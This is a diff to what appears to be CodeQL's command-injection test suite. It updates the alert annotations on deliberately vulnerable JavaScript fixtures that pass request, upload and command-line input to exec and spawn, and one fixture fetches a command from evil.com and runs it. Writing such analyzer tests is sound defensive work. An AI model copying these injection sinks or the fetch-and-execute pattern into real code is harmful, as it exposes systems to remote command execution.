-    util.promisify(cp.exec)(cmd); // NOT OK
+    util.promisify(cp.exec)(cmd); // $ Alert
 });
 
 
@@ -80,7 +80,7 @@ const webpackDevServer = require('webpack-dev-server');
 new webpackDevServer(compiler, {
     before: function (app) {
         app.use(function (req, res, next) {
-          cp.exec(req.query.fileName); // NOT OK
+          cp.exec(req.query.fileName); // $ Alert
 
           require("my-sub-lib").foo(req.query.fileName); // calls lib/subLib/index.js#foo
         });
@@ -91,5 +91,5 @@ import Router from "koa-router";
 const router = new Router();
 
 router.get("/ping/:host", async (ctx) => {
-  cp.exec("ping " + ctx.params.host); // NOT OK
-});
\ No newline at end of file
+  cp.exec("ping " + ctx.params.host); // $ Alert
+});
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/exec-sh.js b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/exec-sh.js
index b5b8fc602bdf..9e59ff90b140 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/exec-sh.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/exec-sh.js
@@ -12,10 +12,10 @@ function getShell() {
 
 function execSh(command, options) {
     var shell = getShell()
-    return cp.spawn(shell.cmd, [shell.arg, command], options) // BAD
+    return cp.spawn(shell.cmd, [shell.arg, command], options) // $ Alert Sink
 }
 
 http.createServer(function (req, res) {
-    let cmd = url.parse(req.url, true).query.path;
+    let cmd = url.parse(req.url, true).query.path; // $ Source
     execSh(cmd);
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/exec-sh2.js b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/exec-sh2.js
index ad91b66f5344..5b6d770a2653 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/exec-sh2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/exec-sh2.js
@@ -7,10 +7,10 @@ function getShell() {
 }
 
 function execSh(command, options) {
-    return cp.spawn(getShell(), ["-c", command], options) // BAD
+    return cp.spawn(getShell(), ["-c", command], options) // $ Alert Sink
 };
 
 http.createServer(function (req, res) {
-    let cmd = url.parse(req.url, true).query.path;
+    let cmd = url.parse(req.url, true).query.path; // $ Source
     execSh(cmd);
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/execSeries.js b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/execSeries.js
index 25e45d675d9f..45f3e25a8971 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/execSeries.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/execSeries.js
@@ -11,10 +11,10 @@ function asyncEach(arr, iterator) {
 }
 
 function execEach(commands) {
-  asyncEach(commands, (command) => exec(command)); // NOT OK 
+  asyncEach(commands, (command) => exec(command)); // $ Alert
 };
 
 require('http').createServer(function(req, res) {
-  let cmd = require('url').parse(req.url, true).query.path;
+  let cmd = require('url').parse(req.url, true).query.path; // $ Source
   execEach([cmd]);
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/form-parsers.js b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/form-parsers.js
index 4b1dabde4412..22ca9745c101 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/form-parsers.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/form-parsers.js
@@ -6,12 +6,12 @@ var app = express();
 var exec = require("child_process").exec;
  
 app.post('/profile', upload.single('avatar'), function (req, res, next) {
-  exec("touch " + req.file.originalname); // NOT OK
+  exec("touch " + req.file.originalname); // $ Alert
 });
  
 app.post('/photos/upload', upload.array('photos', 12), function (req, res, next) {
-  req.files.forEach(file => {
-    exec("touch " + file.originalname); // NOT OK
+  req.files.forEach(file => { // $ Source
+    exec("touch " + file.originalname); // $ Alert
   })
 });
 
@@ -21,8 +21,8 @@ var Busboy = require('busboy');
 
 http.createServer(function (req, res) {
   var busboy = new Busboy({ headers: req.headers });
-  busboy.on('file', function (fieldname, file, filename, encoding, mimetype) {
-    exec("touch " + filename); // NOT OK
+  busboy.on('file', function (fieldname, file, filename, encoding, mimetype) { // $ Source
+    exec("touch " + filename); // $ Alert
   });
   req.pipe(busboy);
 }).listen(8000);
@@ -32,13 +32,13 @@ const formidable = require('formidable');
 app.post('/api/upload', (req, res, next) => {
   let form = formidable({ multiples: true });
  
-  form.parse(req, (err, fields, files) => {
-    exec("touch " + fields.name); // NOT OK
+  form.parse(req, (err, fields, files) => { // $ Source
+    exec("touch " + fields.name); // $ Alert
   });
 
   let form2 = new formidable.IncomingForm();
-  form2.parse(req, (err, fields, files) => {
-    exec("touch " + fields.name); // NOT OK
+  form2.parse(req, (err, fields, files) => { // $ Source
+    exec("touch " + fields.name); // $ Alert
   });
 });
 
@@ -49,14 +49,14 @@ http.createServer(function (req, res) {
   // parse a file upload
   var form = new multiparty.Form();
 
-  form.parse(req, function (err, fields, files) {
-    exec("touch " + fields.name); // NOT OK
+  form.parse(req, function (err, fields, files) { // $ Source
+    exec("touch " + fields.name); // $ Alert
   });
 
 
   var form2 = new multiparty.Form();
-  form2.on('part', function (part) { // / file / field
-    exec("touch " + part.filename); // NOT OK
+  form2.on('part', function (part) { // $ Source - / file / field
+    exec("touch " + part.filename); // $ Alert
   });
   form2.parse(req);
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/other.js b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/other.js
index 2e86ace433ce..d4d4b36b674f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/other.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/other.js
@@ -2,34 +2,34 @@ var http = require("http"),
     url = require("url");
 
 var server = http.createServer(function (req, res) {
-    let cmd = url.parse(req.url, true).query.path;
-
-    require("cross-spawn").sync(cmd); // NOT OK
-    require("execa").shell(cmd); // NOT OK
-    require("execa").shellSync(cmd); // NOT OK
-    require("execa").stdout(cmd); // NOT OK
-    require("execa").stderr(cmd); // NOT OK
-    require("execa").sync(cmd); // NOT OK
-
-    require("cross-spawn")(cmd); // NOT OK
-    require("cross-spawn-async")(cmd); // NOT OK
-    require("exec")(cmd); // NOT OK
-    require("exec-async")(cmd); // NOT OK
-    require("execa")(cmd); // NOT OK
-    require("remote-exec")(target, cmd); // NOT OK
+    let cmd = url.parse(req.url, true).query.path; // $ Source
+
+    require("cross-spawn").sync(cmd); // $ Alert
+    require("execa").shell(cmd); // $ Alert
+    require("execa").shellSync(cmd); // $ Alert
+    require("execa").stdout(cmd); // $ Alert
+    require("execa").stderr(cmd); // $ Alert
+    require("execa").sync(cmd); // $ Alert
+
+    require("cross-spawn")(cmd); // $ Alert
+    require("cross-spawn-async")(cmd); // $ Alert
+    require("exec")(cmd); // $ Alert
+    require("exec-async")(cmd); // $ Alert
+    require("execa")(cmd); // $ Alert
+    require("remote-exec")(target, cmd); // $ Alert
 
     const ssh2 = require("ssh2");
-    new ssh2().exec(cmd); // NOT OK
-    new ssh2.Client().exec(cmd); // NOT OK
+    new ssh2().exec(cmd); // $ Alert
+    new ssh2.Client().exec(cmd); // $ Alert
 
     const SSH2Stream = require("ssh2-streams").SSH2Stream;
-    new SSH2Stream().exec(false, cmd); // NOT OK
+    new SSH2Stream().exec(false, cmd); // $ Alert
 
-    require("execa").node(cmd); // NOT OK
+    require("execa").node(cmd); // $ Alert
 
-    require("foreground-child")(cmd); // NOT OK
+    require("foreground-child")(cmd); // $ Alert
 
     const opener = require("opener");
-    opener("http://github.com/" + url.parse(req.url, true).query.user); // OK
-    opener("http://github.com", { command: cmd }); // NOT OK
+    opener("http://github.com/" + url.parse(req.url, true).query.user);
+    opener("http://github.com", { command: cmd }); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/third-party-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/third-party-command-injection.js
index cec3f36aa492..deb426291d6a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/third-party-command-injection.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/third-party-command-injection.js
@@ -2,7 +2,7 @@ let https = require("https"),
     cp = require("child_process");
 
 https.get("https://evil.com/getCommand", res =>
-    res.on("data", command => {
-        cp.execSync(command);
+    res.on("data", command => { // $ Source
+        cp.execSync(command); // $ Alert
     })
 );
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-078/Consistency.ql
deleted file mode 100644
index 77e19c320dff..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-078/Consistency.ql
+++ /dev/null
@@ -1,23 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.CommandInjectionQuery as CommandInjection
-import semmle.javascript.security.dataflow.IndirectCommandInjectionQuery as IndirectCommandInjection
-import semmle.javascript.security.dataflow.ShellCommandInjectionFromEnvironmentQuery as ShellCommandInjectionFromEnvironment
-import semmle.javascript.security.dataflow.UnsafeShellCommandConstructionQuery as UnsafeShellCommandConstruction
-import semmle.javascript.security.dataflow.SecondOrderCommandInjectionQuery as SecondOrderCommandInjectionQuery
-
-deprecated class CommandInjectionConsistency extends ConsistencyConfiguration {
-  CommandInjectionConsistency() { this = "ComandInjection" }
-
-  override File getAFile() { not result.getBaseName() = "uselesscat.js" }
-}
-
-import semmle.javascript.security.UselessUseOfCat
-
-deprecated class UselessCatConsistency extends ConsistencyConfiguration {
-  UselessCatConsistency() { this = "Cat" }
-
-  override DataFlow::Node getAnAlert() { result instanceof UselessCat }
-
-  override File getAFile() { result.getBaseName() = "uselesscat.js" }
-}
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/IndirectCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/IndirectCommandInjection.expected
index af0b8090ff7b..7c7321845776 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/IndirectCommandInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection/IndirectCommandInjection.expected
@@ -1,3 +1,44 @@
+#select
+| actions.js:4:6:4:29 | process ... _DATA'] | actions.js:4:6:4:16 | process.env | actions.js:4:6:4:29 | process ... _DATA'] | This command depends on an unsanitized $@. | actions.js:4:6:4:16 | process.env | environment variable |
+| actions.js:8:10:8:23 | e['TEST_DATA'] | actions.js:12:6:12:16 | process.env | actions.js:8:10:8:23 | e['TEST_DATA'] | This command depends on an unsanitized $@. | actions.js:12:6:12:16 | process.env | environment variable |
+| actions.js:14:6:14:21 | getInput('data') | actions.js:14:6:14:21 | getInput('data') | actions.js:14:6:14:21 | getInput('data') | This command depends on an unsanitized $@. | actions.js:14:6:14:21 | getInput('data') | GitHub Actions user input |
+| command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:11:14:11:20 | args[0] | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:11:14:11:20 | args[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:12:14:12:32 | "cmd.sh " + args[0] | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:12:14:12:32 | "cmd.sh " + args[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:15:14:15:25 | fewerArgs[0] | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:15:14:15:25 | fewerArgs[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:16:14:16:37 | "cmd.sh ... Args[0] | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:16:14:16:37 | "cmd.sh ... Args[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:19:14:19:17 | arg0 | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:19:14:19:17 | arg0 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:20:14:20:29 | "cmd.sh " + arg0 | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:20:14:20:29 | "cmd.sh " + arg0 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:26:14:26:50 | `node $ ... ption"` | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line-parameter-command-injection.js:26:14:26:50 | `node $ ... ption"` | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:27:14:27:57 | `node $ ... ption"` | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line-parameter-command-injection.js:27:14:27:57 | `node $ ... ption"` | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:30:9:30:50 | "cmd.sh ... )().foo | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | command-line-parameter-command-injection.js:30:9:30:50 | "cmd.sh ... )().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | command-line argument |
+| command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | command-line argument |
+| command-line-parameter-command-injection.js:33:9:33:48 | "cmd.sh ... rgv.foo | command-line-parameter-command-injection.js:33:21:33:44 | require ... ").argv | command-line-parameter-command-injection.js:33:9:33:48 | "cmd.sh ... rgv.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:33:21:33:44 | require ... ").argv | command-line argument |
+| command-line-parameter-command-injection.js:41:10:41:25 | "cmd.sh " + args | command-line-parameter-command-injection.js:36:13:39:7 | require ... \\t\\t.argv | command-line-parameter-command-injection.js:41:10:41:25 | "cmd.sh " + args | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:36:13:39:7 | require ... \\t\\t.argv | command-line argument |
+| command-line-parameter-command-injection.js:43:10:43:62 | "cmd.sh ... e().foo | command-line-parameter-command-injection.js:43:22:43:58 | require ... parse() | command-line-parameter-command-injection.js:43:10:43:62 | "cmd.sh ... e().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:43:22:43:58 | require ... parse() | command-line argument |
+| command-line-parameter-command-injection.js:55:10:55:25 | "cmd.sh " + args | command-line-parameter-command-injection.js:48:3:50:3 | argv: { ... rgs\\n\\t\\t} | command-line-parameter-command-injection.js:55:10:55:25 | "cmd.sh " + args | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:48:3:50:3 | argv: { ... rgs\\n\\t\\t} | command-line argument |
+| command-line-parameter-command-injection.js:65:10:65:31 | "cmd.sh ... nt1rest | command-line-parameter-command-injection.js:57:17:57:37 | require ... ').argv | command-line-parameter-command-injection.js:65:10:65:31 | "cmd.sh ... nt1rest | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:57:17:57:37 | require ... ').argv | command-line argument |
+| command-line-parameter-command-injection.js:66:10:66:31 | "cmd.sh ... nt2rest | command-line-parameter-command-injection.js:58:17:58:40 | require ... parse() | command-line-parameter-command-injection.js:66:10:66:31 | "cmd.sh ... nt2rest | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:58:17:58:40 | require ... parse() | command-line argument |
+| command-line-parameter-command-injection.js:69:10:69:27 | "cmd.sh " + taint3 | command-line-parameter-command-injection.js:68:20:68:40 | require ... ').argv | command-line-parameter-command-injection.js:69:10:69:27 | "cmd.sh " + taint3 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:68:20:68:40 | require ... ').argv | command-line argument |
+| command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line-parameter-command-injection.js:72:10:72:27 | "cmd.sh " + taint4 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:71:20:71:40 | require ... ').argv | command-line argument |
+| command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line-parameter-command-injection.js:79:10:79:39 | "cmd.sh ... gv).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:76:15:76:26 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line-parameter-command-injection.js:82:10:82:54 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:82:29:82:40 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line-parameter-command-injection.js:85:10:85:59 | "cmd.sh ... 2)).foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:85:34:85:45 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line argument |
+| command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line argument |
+| command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line argument |
+| command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line argument |
+| command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line argument |
+| command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line argument |
+| command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | command-line argument |
+| command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | command-line argument |
+| command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line argument |
+| command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:133:10:133:16 | program | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:133:10:133:16 | program | command-line argument |
+| command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line argument |
+| command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | command-line argument |
+| command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line argument |
+| command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line argument |
 edges
 | actions.js:4:6:4:16 | process.env | actions.js:4:6:4:29 | process ... _DATA'] | provenance |  |
 | actions.js:7:15:7:15 | e | actions.js:8:10:8:10 | e | provenance |  |
@@ -290,44 +331,3 @@ nodes
 | command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | semmle.label | "cmd.sh ... zzaType |
 | command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | semmle.label | program.pizzaType |
 subpaths
-#select
-| actions.js:4:6:4:29 | process ... _DATA'] | actions.js:4:6:4:16 | process.env | actions.js:4:6:4:29 | process ... _DATA'] | This command depends on an unsanitized $@. | actions.js:4:6:4:16 | process.env | environment variable |
-| actions.js:8:10:8:23 | e['TEST_DATA'] | actions.js:12:6:12:16 | process.env | actions.js:8:10:8:23 | e['TEST_DATA'] | This command depends on an unsanitized $@. | actions.js:12:6:12:16 | process.env | environment variable |
-| actions.js:14:6:14:21 | getInput('data') | actions.js:14:6:14:21 | getInput('data') | actions.js:14:6:14:21 | getInput('data') | This command depends on an unsanitized $@. | actions.js:14:6:14:21 | getInput('data') | GitHub Actions user input |
-| command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:11:14:11:20 | args[0] | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:11:14:11:20 | args[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:12:14:12:32 | "cmd.sh " + args[0] | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:12:14:12:32 | "cmd.sh " + args[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:15:14:15:25 | fewerArgs[0] | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:15:14:15:25 | fewerArgs[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:16:14:16:37 | "cmd.sh ... Args[0] | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:16:14:16:37 | "cmd.sh ... Args[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:19:14:19:17 | arg0 | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:19:14:19:17 | arg0 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:20:14:20:29 | "cmd.sh " + arg0 | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line-parameter-command-injection.js:20:14:20:29 | "cmd.sh " + arg0 | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:10:13:10:24 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:26:14:26:50 | `node $ ... ption"` | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line-parameter-command-injection.js:26:14:26:50 | `node $ ... ption"` | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:27:14:27:57 | `node $ ... ption"` | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line-parameter-command-injection.js:27:14:27:57 | `node $ ... ption"` | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:24:15:24:26 | process.argv | command-line argument |
-| command-line-parameter-command-injection.js:30:9:30:50 | "cmd.sh ... )().foo | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | command-line-parameter-command-injection.js:30:9:30:50 | "cmd.sh ... )().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:30:21:30:46 | require ... rgs")() | command-line argument |
-| command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | command-line-parameter-command-injection.js:32:9:32:45 | "cmd.sh ... rgv.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:32:21:32:41 | require ... ").argv | command-line argument |
-| command-line-parameter-command-injection.js:33:9:33:48 | "cmd.sh ... rgv.foo | command-line-parameter-command-injection.js:33:21:33:44 | require ... ").argv | command-line-parameter-command-injection.js:33:9:33:48 | "cmd.sh ... rgv.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:33:21:33:44 | require ... ").argv | command-line argument |
-| command-line-parameter-command-injection.js:41:10:41:25 | "cmd.sh " + args | command-line-parameter-command-injection.js:36:13:39:7 | require ... \\t\\t.argv | command-line-parameter-command-injection.js:41:10:41:25 | "cmd.sh " + args | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:36:13:39:7 | require ... \\t\\t.argv | command-line argument |
-| command-line-parameter-command-injection.js:43:10:43:62 | "cmd.sh ... e().foo | command-line-parameter-command-injection.js:43:22:43:58 | require ... parse() | command-line-parameter-command-injection.js:43:10:43:62 | "cmd.sh ... e().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:43:22:43:58 | require ... parse() | command-line argument |
-| command-line-parameter-command-injection.js:55:10:55:25 | "cmd.sh " + args | command-line-parameter-command-injection.js:48:3:50:3 | argv: { ... rgs\\n\\t\\t} | command-line-parameter-command-injection.js:55:10:55:25 | "cmd.sh " + args | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:48:3:50:3 | argv: { ... rgs\\n\\t\\t} | command-line argument |
-| command-line-parameter-command-injection.js:65:10:65:31 | "cmd.sh ... nt1rest | command-line-parameter-command-injection.js:57:17:57:37 | require ... ').argv | command-line-parameter-command-injection.js:65:10:65:31 | "cmd.sh ... nt1rest | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:57:17:57:37 | require ... ').argv | command-line argument |
-| command-line-parameter-command-injection.js:66:10:66:31 | "cmd.sh ... nt2rest | command-line-parameter-command-injection.js:58:17:58:40 | require ... parse() | command-line-parameter-command-injection.js:66:10:66:31 | "cmd.sh ... nt2rest | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:58:17:58:40 | require ... parse() | command-line argument |
